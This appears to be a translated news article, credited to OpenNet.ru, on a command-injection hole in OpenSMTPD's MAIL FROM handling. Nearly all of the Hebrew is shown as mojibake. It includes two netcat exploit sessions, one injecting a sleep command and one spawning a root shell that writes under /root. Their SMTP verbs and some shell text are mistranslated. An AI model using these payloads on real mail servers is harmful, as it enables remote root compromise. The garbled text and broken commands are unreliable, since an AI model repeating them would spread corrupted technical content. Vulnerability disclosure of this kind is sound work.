ืืฉืจืช ืืืืืจ ืฉืคืืชื ืขื ืืื ืคืจืืืงื OpenBSD
ืฉืชื ืืคืฉืจืืืืช ืชืงืืคื ืืืฆืขืืช. ืืืคืฉืจืืช ืืจืืฉืื ื ืคืืขืืช ืืชืฆืืจืช ืืจืืจืช ืืืืื ืฉื OpenSMTPD (ืืงืืืช ืืงืฉืืช ืจืง ื-localhost) ืืืืคืฉืจืช ืื ืื ืฆื ืืช ืืืขืื ืืืืคื ืืงืืื, ืืืฉืจ ืืชืืงืฃ ืืกืืื ืืืฉืช ืืืืฉืง ืืจืฉืช ืืืงืืืืช (ืืืืืืืง) ืืฉืจืช (ืืืืืื, ืืืขืจืืืช ืืืจืื) . ืืืคืฉืจืืช ืืฉื ืืื ืืชืจืืฉืช ืืืฉืจ OpenSMTPD ืืืืืจ ืืงืื ืืงืฉืืช ืจืฉืช ืืืฆืื ืืืช (ืฉืจืช ืืืืจ ืฉืืงืื ืืืืจ ืฉื ืฆื ืฉืืืฉื). ืืืงืจืื ืืืื ื ืื ืืืคืืก ืฉื ื ืืฆืื ืฉืขืืื ืืืฆืืื ืื ืขื ืืจืกืช OpenSMPD ืืืืืื ื-OpenBSD 6.6 ืืื ืขื ืืจืกื ื ืืืืช ืืืขืจืืืช ืืคืขืื ืืืจืืช (ืฉื ืขืจืื ื-Debian Testing).
ืืืขืื ื ืืจืืช ืืฉืืืื ืืคืื ืงืฆืื smtp_mailaddr() ืฉื ืงืจืืช ืืืืืง ืืช ื ืืื ืืช ืืขืจืืื ืืฉืืืช "MAIL FROM" ื-"RCPT TO" ืืืืืืจืื ืืช ืืฉืืื/ื ืืขื ืืืืขืืจืื ืืืืื ืืืืืืจ ืขื ืฉืจืช ืืืืืจ. ืืื ืืืืืง ืืช ืืืืง ืฉื ืืชืืืช ืืืืืจ ืืืืงืืจืื ื ืฉืืืคืืข ืืคื ื ืืกืื "@", ืืคืื ืงืฆืื smtp_mailaddr() ื ืงืจืืช
valid_localpart(), ืฉืืงืื (MAILADDR_ALLOWED) ืืช ืืชืืืื "!#$%&'*/?^`{|}~+-=_", ืื ืืจืฉ ืขื ืืื RFC 5322.
ืืืงืจื ืื, ืืจืืื ืืฉืืจื ืฉื ืืืืจืืืช ืืชืืฆืขืช ืืคืื ืงืฆืื mda_expand_token() ืืฉืจ ืืืืืคื ืจืง ืืช ืืชืืืื "!#$%&'*?`{|}~" (MAILADDR_ESCAPE). ืืืืจ ืืื, ืืฉืืจื ืฉืืืื ื ื-mda_expand_token() ืืฉืืฉืช ืืขืช ืงืจืืื ืืกืืื ืืืกืืจื (MDA) ืืืืฆืขืืช ืืคืงืืื 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' ืืืงืจื ืฉื ืืฆืืช ืืืชืืืช ื-mbox ืืจื /bin/sh, ืืฉืืจื "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" ืืืคืขืืช, ืฉืื ืืขืจื "% {mbox.from}" ืืืื ื ืชืื ืื ืฉื ืฉืืื ืืืคืจืืืจ "MAIL FROM".
ืืืืืช ืฉื ืืคืืืขืืช ืืื ืฉื-smtp_mailaddr() ืืฉ ืฉืืืื ืืืืืช, ืฉืืืืื, ืื ืืืืืื ืจืืง ื ืฉืื ืืืืื, ืืคืื ืงืฆืื ืืืืืจื ืงืื ืืืืืช ืืืฆืื, ืื ืื ืืืืง ืฉื ืืืชืืืช ืืคื ื "@" ืืืื ืชืืืื ืื ืืืงืืื . ืืชืจื ืืื, ืืขืช ืืื ืช ืืืจืืืช, ืืคืื ืงืฆืื mda_expand_token() ืืื ื ืืืจืืช ืืื ืืชืืืื ืืืืืืืื ืืืคืฉืจืืื ืฉื ืืขืืคืช, ืืื ืจืง ืชืืืื ืืืืืืื ืืืืชืจืื ืืืชืืืช ืืืื"ื. ืืคืืื, ืืื ืืืคืขืื ืืช ืืคืงืืื ืฉืื, ืื ืืกืคืืง ืืืฉืชืืฉ ืืกืื ";" ืืืืง ืืืงืืื ืฉื ืืืืืืื. ืืจืืื, ืฉืืื ื ืืืืืื ืืขืจืืช MAILADDR_ESCAPE ืืืื ื ืืืจืืื. ืืืืืื:
$nc 127.0.0.1 25
HELO professor.falken
ืืืืจ ื:<;sleep 66;>
RCPT ืื:
ื ืชืื ืื
.
ืชืืื ืข
ืืืืจ ืืคืขืื ืื, OpenSMTPD, ืืืฉืจ ืืืืกืจ ื-mbox, ืืคืขืื ืืช ืืคืงืืื ืืจื ืืืขืืคืช
/usr/libexec/mail.local -f ;sleep 66; ืฉืืจืฉ
ืืื ืขื ืืืช, ืืคืฉืจืืืืช ืืชืงืืคื ืืืืืืืช ืขื ืืื ืืขืืืื ืฉืืืืง ืืืงืืื ืฉื ืืืชืืืช ืืื ื ืืืื ืืขืืืช ืขื 64 ืชืืืื, ืืืชืืืื ืืืืืืืื '$' ื-'|' ืืืืืคืื ื-":" ืืขืช ืืฆืืื. ืืื ืืขืงืืฃ ืืืืื ืื, ืื ื ืืฉืชืืฉืื ืืขืืืื ืฉืืืฃ ืืืืชื ืืืขืืจ ืืืืจ ืืคืขืืช /usr/libexec/mail.local ืืจื ืืจื ืืงืื, ืืืืืจ. ืขื ืืื ืื ืืคืืืฆืื ืฉื ืืืชืืืช, ืืชื ืืืื ืจืง ืืืคืขืื ืืช ืืชืืจืืื ืืคืงืืื sh ืืืืฉืชืืฉ ืืืืฃ ืืืืชื ืืืขืจืืช ืฉื ืืืจืืืช. ืืืืืื ืฉืืืชืจืืช SMTP ืฉื ืฉืืจืืช ืืฆืืื ืืช ืืชืืืืช ืืืืช, ืืืืืฅ ืืืฉืชืืฉ ืืคืงืืืช ืืงืจืืื ืืืืืื ืืื ืืืื ืขืืืื. ื ืืฆืื ืขืืื ื ืจืื ืืขืจื ืื:
$nc 192.168.56.143 25
HELO professor.falken
ืืืืจ ื:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT ืื:[ืืืื ืืืื"ื]>
ื ืชืื ืื
#0
#1
...
#d
ืขืืืจ i ื-WOPR; ืึทืขึฒืฉืืึนืช
echo -n "($i) " && id || ืืฉืืืจ
ืืืฆืข > /root/x."`id -u`.""$$"
.
ืชืืื ืข
ืืงืืจ: OpenNet.ru